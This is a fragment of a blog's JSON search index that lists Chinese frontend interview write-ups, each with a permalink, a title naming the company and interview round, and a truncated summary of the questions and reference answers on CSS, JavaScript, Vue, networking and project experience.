…","title":"腾讯云-实习 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-47/round-65/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 本轮面试注重基础知识的掌握与表达，涵盖了前端语言、框架原理、计算机基础、网络协议、数据库设计、加密安全等内容，兼顾技术深度与广度。\n本轮共 16 道题。答案默认折叠，便于先自行作答。\n1. 面向对象和面向程序设计的主要区别 题目要点 面向过程以过程为中心，强调顺序执行逻辑，适合小型程序；\n参考答案 面向过程以过程为中心，强调顺序执行逻辑，适合小型程序； 面向对象以对象和行为抽象为中心，强调封装、继承、多态，适合复杂系统的可维护性与复用性设计。 2. 面向对象的三大特性 题目要点 封装隐藏内部实现、继承提高复用性、多态通过统一接 …","title":"百度-百度云-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-47/round-67/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 三面偏重项目经历、思维深度与工程解决方案，兼顾产品理解与算法能力。\n本轮共 6 道题。答案默认折叠，便于先自行作答。\n1. 讲一下之前的实习经历，主要负责什么工作，你们团队是做什么的？ 题目要点 在回答实习经历时，可以遵循： “团队是做什么的 → 自己负责了什么 → 过程中遇到的挑战 → 最终的结果和成长”。 这样既能让面试官清楚地看到候选人的贡献，也能体现出对团队目标的理解和自身成长路径的清晰度。\n要不要我帮你准备几个可直接套用的实习经历表述范例，比如业务团队和前端基础设施团队两个版本？\n参考答案 这个问题本质上考察的是候 …","title":"百度-百度云-校招 · 第 1 轮 · 三面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-47/round-66/","summary":" ← 第 1 轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 二面重点考察前端框架理解与性能优化能力，同时关注工程化处理思维和大规模数据处理能力。\n本轮共 10 道题。答案默认折叠，便于先自行作答。\n1. 元素隐藏的三种方法（display:none、visibility:hidden、opacity:0）及其区别 题目要点 display: none：元素不在文档流中，不占位，无法响应事件。\n参考答案 display: none：元素不在文档流中，不占位，无法响应事件。 visibility: hidden：占位但不可见，无法响应事件。 opacity: 0：占位且可响应事件（需用 …","title":"百度-百度云-校招 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-46/round-63/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 本次面试主要考察前端基础知识、项目经验以及问题解决能力。\n本轮共 15 道题。答案默认折叠，便于先自行作答。\n1. 介绍一下你参与过的一个重要项目，包括项目背景、目标、技术栈以及你的角色和主要职责。 题目要点 该题是主观型问题，没有唯一标准答案。 面试官主要考察答题者的表达能力、思路系统性、技术理解和复盘能力。 建议答题结构：首先概括项目，然后详细阐述项目背景、目标、技术栈，最后具体说明个人角色、职责与贡献。 参考答案 我的一个重要项目是\u0026amp;quot;企业级智能客服系统前端优化与重构\u0026amp;quot;。这个项目主要目标是提升现有客服系 …","title":"美团-优选-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-46/round-64/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮共 16 道题。答案默认折叠，便于先自行作答。\n1. 为什么大二就开始实习呢？当时是怎么考虑的？ 题目要点 说明该题是主观型问题，不考\u0026amp;quot;唯一标准答案\u0026amp;quot;。 面试官主要考察答题者的表达能力、思路系统性、技术理解和复盘能力。 答题结构建议：首先说明实习的初衷和驱动力，然后结合个人成长和职业规划阐述实习带来的收获和影响，最后可以适当提及对未来发展的思考。 参考答案 其实，我选择在大二就开始实习，主要是出于对前端开发浓厚的热情和对实践经验的渴望。当时在学校学习理论知识时，我逐渐意识到，真正的项目开发与课堂学习存在很大差异。 …","title":"美团-优选-校招 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-45/round-61/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 本轮面试侧重于考察候选人的JavaScript基础知识、CSS布局能力、对浏览器工作原理的理解以及实际编码能力。重点在于事件循环、异步编程、闭包、原型链等核心概念，同时也涵盖了跨域、缓存等常见Web问题。\n本轮共 11 道题。答案默认折叠，便于先自行作答。\n1. 实现一个三栏布局，左右侧固定200px，中间自适应，写出至少两种方案。追问：Grid布局中fr单位的作用？如何解决Flex布局的浏览器兼容问题？ 题目要点 CSS布局能力：面试官想确认你是否熟练掌握现代CSS布局技术，如Flexbox和Grid，以及是否了解传统的布局 …","title":"百度-文库-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-45/round-62/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 二面深入考察了前端核心知识的应用和原理理解。重点包括CSS优先级、闭包与内存管理、JavaScript继承的多种实现方式、原型链的深层理解、虚拟DOM的性能优化原理以及Vue框架的高级特性。题目更侧重于“为什么”和“如何实现”，要求候选人不仅知其然，更要知其所以然。\n本轮共 12 道题。答案默认折叠，便于先自行作答。\n1. 自我介绍，没有实习过。 题目要点 沟通表达能力：能否清晰、自信地介绍自己。 潜力与热情：在没有实习经历的情况下，如何通过个人项目、技术博客、开源贡献等来证明自己的技术热情和学习能力。 求职动机：为什么选择 …","title":"百度-文库-校招 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-41/round-60/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮共 7 道题。答案默认折叠，便于先自行作答。\n1. 讲一个你觉得最有成就感的项目？ 题目要点 这个问题的回答重点不在于项目多复杂，而在于是否能通过一个真实的项目，清晰地表达出在关键阶段的判断力、推动力和技术价值。能讲出一个对业务和团队产生正向影响的案例，并体现出“为什么重要”、“怎么做的”、“结果如何”以及“有哪些沉淀”，才是打动面试官的关键。\n参考答案 这个问题考察的是候选人在复杂项目中的角色、思维方式以及实际落地能力。回答时不必拘泥于“成功上线”或“技术高大上”的标准，更重要的是能体现出技术价值、业务洞察和综合影响力。\n可以从以 …","title":"百度-地图-秋招 · 第 1 轮 · 三面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-41/round-59/","summary":" ← 第 1 轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 本轮面试考察了前端基础能力、网络协议、Vue响应式原理、构建工具底层实现，以及手写能力与业务建模能力，重点在于深入理解底层原理和综合解决问题的能力。\n本轮共 11 道题。答案默认折叠，便于先自行作答。\n1. 讲一下你的前端模块化的理解 题目要点 模块化发展历程、ES Module 和 CommonJS 区别、模块加载机制、Tree-shaking原理。\n参考答案 原理说明\n模块化的目的：为了提高代码的可维护性、复用性和依赖管理能力，将代码组织为独立模块。\n发展历程：\n无模块化（全局变量） IIFE 模式（立即执行函数） …","title":"百度-地图-秋招 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-44/round-58/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： - 考点覆盖：网络协议（HTTP/HTTPS、OSI、WebSocket、QUIC、CORS）、安全（XSS、缓存投毒）、性能优化（缓存、懒加载/预加载）、工程化（版本更新、路由）、Vue框架细节。\n难易度：中等偏上。前6题基础网络必会，7-10题需理解协议差异与实战场景，11-16题偏重安全与缓存的落地策略，17-20题考察框架原理与工程思维，梯度合理但深度要求高。 本轮共 21 道题。答案默认折叠，便于先自行作答。\n1. 统计出现次数最多的字符以及出现的次数 题目描述：\n编写一个函数，接收一个字符串作为输入，统计并返回出 …","title":"腾讯-视频-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-43/round-57/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮共 13 道题。答案默认折叠，便于先自行作答。\n1. 简历提到你熟悉Git，请问如何处理代码合并时的冲突？ 题目要点 面试官出这道题主要想确认哪些知识维度？\nGit基础操作：考察候选人对Git版本控制工具的熟悉程度，尤其是合并（merge）和解决冲突（conflict resolution）等核心操作。 问题解决能力：在实际开发中遇到代码冲突时，候选人如何分析问题、定位冲突并有效解决。 协作开发经验：在团队协作中，如何避免冲突，以及在发生冲突后如何与其他团队成员协作解决。 该题所考知识点中有哪些高频实际应用点？\n日常代码合并：开发者 …","title":"美团-酒旅-前端面经 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-41/round-55/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 基础知识面不少，进一步考察实际工程和性能优化能力\n本轮共 12 道题。答案默认折叠，便于先自行作答。\n1. BFC的作用及触发条件，使用场景讲一下 题目要点 CSS 样式中 BFC 的概念、特性和触发条件 BFC 应用场景：避免多列排版间隔折行问题、清除浮动、各区域形成隔离 参考答案 1.1 原理说明 BFC (Block Formatting Context)，即块级格式化上下文。它是 W3C CSS2.1 中的一类属性，是一个独立的布局环境，在该环境里，按照特定规则进行元素排列和布局。\n主要特性：\nBFC 内部的元素不会和 …","title":"百度-地图-秋招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-40/round-53/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 本次面试主要考察校招生的前端基础内容和项目经验。\n本轮共 20 道题。答案默认折叠，便于先自行作答。\n1. 前端学习路径 题目要点 本题为主观题，没有标准答案，主要考察候选人的学习能力、知识体系构建能力以及持续学习的动力。 面试官希望了解候选人获取新知识、解决问题的途径和习惯，以及对前端知识的理解是否系统、全面。 建议回答结构：我的前端启蒙与基础学习阶段 → 深入学习特定框架/技术 → 通过项目实践巩固与提升 → 持续学习与关注前沿技术。 参考答案 我的前端学习路径可以分为几个阶段。最初，我对互联网技术充满好奇，通过[提及学 …","title":"360集团-24年-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-39/round-50/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮概述： 中级偏上难度，适合有扎实基础和一定项目经验的应届生。既考察理论知识的深度，也注重实践能力的广度，需要候选人具备较强的学习能力和技术整合能力。\n本轮要点： ### 考察范围\n这轮校招面试主要考察四个维度：\n个人经历和项目实战：通过学习经历、项目搭建、协作经验考察实际开发能力 移动端和多端开发：小程序开发、多端适配、移动端优化等实用技能 前端基础知识：JavaScript核心概念、Vue框架原理、浏览器工作机制等 工程化和架构思维：打包工具、插件开发、系统设计等高级能力 重点准备知识点 项目经验的系统性总结和技术亮点提炼 小程序 …","title":"京东-健康-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-38/round-49/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮概述： 中高级难度。既有基础概念的深度考察，也有复杂业务场景的解决方案设计，对于校招同学有一定的挑战。\n本轮要点： ### 考察范围\n这轮面试主要考察三个维度：\n项目实战能力：通过虚拟列表、Token管理等具体技术方案考察解决复杂业务问题的能力 前端基础功底：涵盖浏览器原理、JavaScript核心机制、CSS布局、性能优化等核心知识 计算机基础：通过算法题考察数据结构和算法基础 重点准备知识点 虚拟列表等性能优化方案的深度理解和实践经验 HTTP协议、浏览器工作原理、缓存机制等网络基础 JavaScript事件循环、闭包、原型链等 …","title":"腾讯-QQ浏览器-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-37/round-48/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 主要几种在以下几个方向：\nvue3原理 前端工程化：webpack、vite、pnpm、monorepo 前端安全 计算机网络 本轮共 21 道题。答案默认折叠，便于先自行作答。\n1. JSON数组扁平化\u0026amp;amp;数据过滤 假设有一个模拟接口 fetchData()，返回 Promise 对象，数据格式为：\n{ \u0026amp;#34;data\u0026amp;#34;: [ { \u0026amp;#34;id\u0026amp;#34;: 1, \u0026amp;#34;value\u0026amp;#34;: 5 }, { \u0026amp;#34;id\u0026amp;#34;: 2, \u0026amp;#34;value\u0026amp;#34;: 10, …","title":"腾讯-暑期实习 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-36/round-47/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 本次面试主要考察候选人的项目经验、技术深度与广度，以及解决实际问题的能力和算法基础。\n本轮共 16 道题。答案默认折叠，便于先自行作答。\n1. 介绍一下实习项目的业务背景 题目要点 ● 该题是主观型问题，不设\u0026amp;quot;唯一标准答案\u0026amp;quot;。 ● 面试官主要考察答题者能否清晰、有条理地阐述复杂业务，并展现其系统性思考和沟通表达能力。 ● 建议的答题结构是：首先概述项目所属行业与核心痛点，接着阐述项目目标与解决方案，最后简要提及项目成果及个人职责。\n参考答案 高质量参考范文： 我之前在一家电商公司实习，主要负责一个名为 …","title":"字节-今日头条-校招 · 第 1 轮 · 三面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-36/round-46/","summary":" ← 第 1 轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 本次面试主要考察前端基础知识、项目经验和算法能力。\n本轮共 12 道题。答案默认折叠，便于先自行作答。\n1. 简单介绍一下你上一段实习中觉得做的比较好的项目 题目要点 ● 主观型问题，无唯一标准答案。 ● 面试官主要考察你的项目理解深度、技术选型能力、问题解决能力、以及对项目成果的复盘与表达能力。 ● 建议的答题结构：首先简要介绍项目背景和你的角色；接着详细阐述你在项目中负责的具体工作、遇到的挑战及如何解决；最后总结项目成果和你的收获。\n参考答案 我在XX公司实习期间，参与了一个内部运营效率工具的开发，其中我主导了\u0026amp;quot; …","title":"字节-今日头条-校招 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-36/round-45/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 本次面试主要考察前端基础知识和工程化实践\n本轮共 19 道题。答案默认折叠，便于先自行作答。\n1. 介绍一下简历中的组件库项目 题目要点 非唯一标准答案：本题是主观型问题，没有唯一的标准答案，主要考察面试者的综合能力。 考察能力：面试官主要考察您的表达能力、对项目背景和技术细节的理解、解决问题的思路系统性，以及项目复盘和总结的能力。 答题结构建议：建议从项目背景和目的、技术选型与核心功能、遇到的挑战与解决方案、个人贡献与收获等方面展开阐述，力求条理清晰、重点突出。 参考答案 高质量参考范文： 在我的简历中，我提到了一个组件库项 …","title":"字节-今日头条-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-34/round-42/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 本次面试主要考察校招生的基础内容\n本轮共 21 道题。答案默认折叠，便于先自行作答。\n1. 数组排序：实现一个函数，对包含数字和字符串的混合数组进行排序，数字在前按升序，字符串在后按字母顺序。 题目要点 JavaScript算法。\n参考答案 function sortMixedArray(arr) { return arr.sort((a, b) =\u0026amp;gt; { const typeA = typeof a; const typeB = typeof b; if (typeA !== typeB) { return typeA …","title":"阿里-蚂蚁金服-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-34/round-43/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 本次面试主要考察校招生的基础内容\n本轮共 15 道题。答案默认折叠，便于先自行作答。\n1. 自我介绍 题目要点 自我认知。\n参考答案 您好！我是一名对前端开发充满热情的工程师，拥有[X]年的开发经验。我熟练掌握HTML、CSS和JavaScript等前端技术，并在多个项目中运用Vue、React等框架构建用户友好的应用。在大学期间，我主修计算机科学，这为我打下了坚实的编程基础。通过参与各类项目，我不仅提升了技术能力，还培养了良好的团队协作和问题解决能力。我热爱学习新技术，经常阅读技术博客并参与开源项目。在之前的实习和工作中， …","title":"阿里-蚂蚁金服-校招 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-33/round-40/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 本次面试主要考察校招生的基础内容\n本轮共 13 道题。答案默认折叠，便于先自行作答。\n1. 实现第一个元素不移动后续元素与左边相隔8px（:not(:first-child） 题目要点 CSS选择器与布局。\n参考答案 要实现第一个元素不移动，后续元素与左边相隔8px，可以使用CSS中的:not(:first-child)选择器来选择除第一个元素外的所有同级元素，并为其设置左边距。这在布局中非常有用，可以避免对第一个元素应用不必要的样式。以下是一个示例：\n\u0026amp;lt;div class=\u0026amp;#34;container\u0026amp;#34;\u0026amp;gt; …","title":"阿里-阿里妈妈-实习 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-33/round-41/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 本次面试主要考察校招生的基础内容\n本轮共 9 道题。答案默认折叠，便于先自行作答。\n1. Flex布局中flex-grow与flex-shrink的计算规则？ 题目要点 CSS布局。\n参考答案 在Flex布局中，flex-grow和flex-shrink属性用于控制子元素在可用空间内的扩展和收缩行为。它们的计算规则如下：\nflex-grow： 定义：定义项目的扩展比例，即项目在主轴方向上可占有的额外空间的比例。 计算规则：剩余空间按项目flex-grow值的比例分配。如果所有项目的flex-grow值之和大于1，则按比例分配 …","title":"阿里-阿里妈妈-实习 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-32/round-38/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 本次面试主要考察校招生的基础内容\n本轮共 19 道题。答案默认折叠，便于先自行作答。\n1. 讲一下你的技术栈，为什么要学前端，如何学习前端的？ 题目要点 技术栈、学习动机与方法。\n参考答案 技术栈： HTML/CSS：用于构建页面结构和样式。 JavaScript：包括ES6+特性，用于实现页面交互。 框架：熟练使用Vue.js和React，了解其生态系统（如Vue Router、Vuex、React Router、Redux）。 构建工具：使用Vite和Webpack进行项目构建和优化。 状态管理：使用Vuex和Redux进 …","title":"阿里-国际电商-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-32/round-39/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 本次面试主要考察校招生的基础内容\n本轮共 9 道题。答案默认折叠，便于先自行作答。\n1. React/Vue/Angular框架熟悉哪个？对比一下 题目要点 前端框架。\n参考答案 我对React和Vue较为熟悉，以下是对这三大框架的对比：\nReact： 优点： 组件化：React采用组件化开发，将复杂的用户界面拆分为多个可复用的组件，提高代码的可维护性和复用性。 虚拟DOM：使用虚拟DOM优化DOM操作，减少页面重绘和回流，提升性能。 生态丰富：拥有庞大的生态系统，如Redux、React Router等，可满足各种复杂的开 …","title":"阿里-国际电商-校招 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-31/round-36/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 本次面试主要考察校招生的基础内容\n本轮共 21 道题。答案默认折叠，便于先自行作答。\n1. 先简单自我介绍 题目要点 自我认知。\n参考答案 您好，我叫[你的名字]，毕业于[学校名称]的[专业名称]专业。在大学期间，我就对计算机科学产生了浓厚的兴趣，尤其是前端开发领域。在学习和实践中，我积累了扎实的编程基础，熟练掌握了HTML、CSS、JavaScript等前端开发技术，并在多个项目中担任核心开发角色。我热爱前端开发工作，喜欢通过代码创造用户友好的界面和交互体验。在业余时间，我会不断学习新技术，提升自己的专业能力。我希望能够在一 …","title":"阿里-灵犀互娱-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-31/round-37/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 本次面试主要考察校招生的基础内容\n本轮共 13 道题。答案默认折叠，便于先自行作答。\n1. 你是什么时候开始学前端的 题目要点 学习经历。\n参考答案 我接触前端开发是在大学二年级的时候。当时，我选修了一门网页设计与开发的课程，这让我对前端开发产生了浓厚的兴趣。从那时起，我便开始系统地学习HTML、CSS和JavaScript等前端技术。我通过阅读书籍、在线教程和官方文档，打下了坚实的基础。同时，我积极参与实践项目，不断提升自己的技能。毕业后，我继续深入学习前端框架和工具，如Vue、React等，并在实际工作中不断积累经验。这 …","title":"阿里-灵犀互娱-校招 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-30/round-35/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 本次面试主要考察校招生的基础内容\n本轮共 18 道题。答案默认折叠，便于先自行作答。\n1. 请介绍一下你在 [具体项目名称] 中主要做了哪些工作？ 题目要点 项目经验。\n参考答案 回答参考：\n项目架构设计：参与设计项目的整体架构，选择前端技术栈。考虑到项目规模和性能需求，选择了 Vue.js 作为前端框架，Vuex 进行状态管理，Vue Router 实现单页面应用的路由管理，Vite 作为构建工具。这些技术的选择旨在提高开发效率和应用性能。\n核心模块开发：负责开发用户认证模块，实现了基于 JWT（JSON Web …","title":"阿里-智能产品事业部-暑期实习 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-29/round-34/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮概述： 一共三轮面试，经过整理后形成该面经。\n主要考察了候选人的实习经历、项目经验以及对前端工具和技术的理解。问题涵盖了从Vite插件开发到模块管理等多个方面，重点测试了候选人的实际操作能力和对技术细节的掌握。\n本轮要点： 本次面试深度考察工程化全链路能力（Vite插件开发/预构建/HMR原理）、性能优化实战（INP项目包体积↓40%/LCP时间↓50%）、跨端架构设计（JavaScript Bridge通信/兼容性治理）及模块化高级应用（单例设计/循环依赖检测）。难点聚焦于pnpm幽灵依赖治理、Vite HMR全流程解析及 …","title":"阿里-阿里云-暑期实习 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-28/round-32/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 聚焦前端基础深度：虚拟DOM性能边界（复杂DOM场景优劣）、响应式布局实现（媒体查询/弹性布局）、浏览器兼容性实战（Polyfill/Babel）、微信小程序架构设计理念。难点在于Rem计算优化策略和O(1)空间复杂度的字符串逆序算法设计。\n本轮共 10 道题。答案默认折叠，便于先自行作答。\n1. 自我介绍 题目要点 个人背景、技能、经验、职业规划等。\n参考答案 参考模版如下，一般3分钟以内即可。\n面试官您好！我叫[姓名]，毕业于[毕业院校]，专业是[专业名称]。我有XX段前端开发实习经验，熟练掌握 …","title":"阿里-盒马-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-28/round-33/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 深入框架原理与工程化：小程序加载流程（缓存/渲染机制）、Vue路由动态加载（Code Splitting）、全局状态管理（Vuex模块化）、生命周期资源管理（mounted/beforeDestroy）。难点在于手势识别算法（滑动速度计算）和可控动画引擎（开始/暂停/取消）。\n本轮共 12 道题。答案默认折叠，便于先自行作答。\n1. 小程序的页面加载流程是怎样的？请简要描述从用户点击小程序图标到页面显示的整个过程。 题库原题：小程序的页面加载流程是怎样的？请简要描述从用户点击小程序图标到页面显示的整个过程。\n题目要点 双线程 …","title":"阿里-盒马-校招 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-27/round-30/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 本次面试深度考察JavaScript核心原理（闭包、继承实现）、前端框架（Vue响应式机制、虚拟DOM性能、Vue vs React区别）、性能优化（高并发请求处理、HTTP/2应用）、前端安全（XSS/CSRF防御）。难点聚焦于Vue响应式系统限制的解决（如动态字段更新）、复杂布局实现（自适应流式），以及高效算法设计（O(n)去重）。\n本轮共 14 道题。答案默认折叠，便于先自行作答。\n1. 自我介绍 题目要点 个人背景、能力、经验。\n参考答案 我叫[姓名]，毕业于[学校]，专业是[专业]。我有[X]年的前端开发经验，熟练掌 …","title":"京东-技术中台-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-27/round-31/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 本次面试聚焦CSS布局核心问题（浮动清除、BFC机制）、高频JS手写能力（防抖函数）、工程化实践（TS迁移痛点、Vue3升级策略）、深度性能优化（缓存协同更新、Tree Shaking原理）。难点在于浮动导致的布局塌陷解决方案、CDN与本地缓存协同策略设计，以及复杂框架迁移的兼容性处理。\n本轮共 11 道题。答案默认折叠，便于先自行作答。\n1. 浮动元素导致的布局错乱应该如何解决？ 题目要点 CSS浮动布局及解决方案。\n参考答案 浮动元素会导致其父元素高度塌陷，从而影响布局。解决方法有：\n1. 清除浮动：在浮动元素后面添加一 …","title":"京东-技术中台-校招 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-26/round-29/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 考察核心集中在前端性能优化（如无限加载卡顿、页面渲染延迟）、CSS布局与兼容性（如Flexbox自适应、跨浏览器适配）及Vue框架原理（如响应式限制、虚拟DOM优劣）。需重点准备懒加载/虚拟滚动优化、兼容性Hack技巧、异步执行顺序分析及需求拆分设计能力。\n本轮共 12 道题。答案默认折叠，便于先自行作答。\n1. 现在我们有一个 618 活动页的需求，需要你来做，你会如何拆分需求，如何设计？ 题目要点 需求分析与设计能力\n参考答案 首先与产品、设计、运营等多部门沟通，明确活动页的核心功能、促销规则、页面风格等基本需求。例如， …","title":"京东-广告数据-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-25/round-27/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 本次面试主要考察前端基础知识和实际应用能力。\n本轮共 20 道题。答案默认折叠，便于先自行作答。\n1. 实现一个宽度自适应的搜索框。 题目要点 CSS布局能力： 面试官希望确认候选人对CSS的布局方式（如Flexbox、Grid或传统布局）的掌握程度，以及如何实现元素的响应式和自适应。 响应式设计： 考察候选人是否能考虑不同屏幕尺寸下的用户体验，并运用CSS媒体查询、视口单位等技术实现宽度自适应。 HTML结构： 确认候选人是否能编写语义化且结构清晰的HTML代码。 参考答案 1.1 原理说明 宽度自适应的搜索框是指搜索框的宽 …","title":"字节-飞书-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-25/round-28/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 本次面试主要考察前端开发者的项目经验、技术深度、问题解决能力以及对未来发展的思考。\n本轮共 15 道题。答案默认折叠，便于先自行作答。\n1. 了解飞书么，讲一下你的使用感受 题目要点 ● 说明该题是主观型问题，不考\u0026amp;quot;唯一标准答案\u0026amp;quot;\n● 面试官主要考察答题者对产品的理解、用户体验的洞察以及归纳总结能力\n● 答题结构建议：首先简要说明你对飞书的整体印象和使用频率，然后从几个具体的产品功能或使用场景出发，详细阐述你的感受、亮点和可以改进的地方。\n参考答案 高质量参考范文： 我对飞书这款产品有比较深入的了解，因为 …","title":"字节-飞书-校招 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-19/round-19/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 本轮面试侧重考察候选人前端基础知识的系统掌握程度，包括 CSS 盒模型、选择器机制、ES6 语法、异步任务队列、响应式原理与网络协议等，同时会通过算法题考查思维能力与编码规范。\n重点关注以下几个方面：\nCSS布局与样式：考察对盒模型、选择器的深入理解，以及实际应用中的最佳实践 JavaScript核心：重点关注ES6特性、闭包、异步编程等基础概念的掌握程度 框架原理：主要考察Vue3响应式系统的实现原理与优化思路 工程化思维：通过HTTP、缓存、性能优化等问题考察工程实践经验 算法能力：通过字符串处理等典型题目考察基本编程功底 …","title":"字节-本地生活-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-19/round-20/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 本轮面试重点考察候选人的项目经验、技术深度和工程化思维。主要包括：\n算法编程能力：通过合并有序数组等题目考察基本编程功底 项目经验：深入考察实习期间的技术选型、架构设计等关键决策 微前端技术：重点关注跨应用通信、样式隔离等核心问题 AI 应用实践：考察将新技术应用到工程实践中的能力 跨窗口通信：考察复杂场景下的技术方案设计能力 本轮共 15 道题。答案默认折叠，便于先自行作答。\n1. 将两个升序数组合并为一个升序数组 题目要点 数组操作能力 双指针算法应用 原地修改的实现 边界条件处理 参考答案 这道题可以使用双指针从后向前 …","title":"字节-本地生活-校招 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/jsx/","summary":"时下虽然接入 JSX 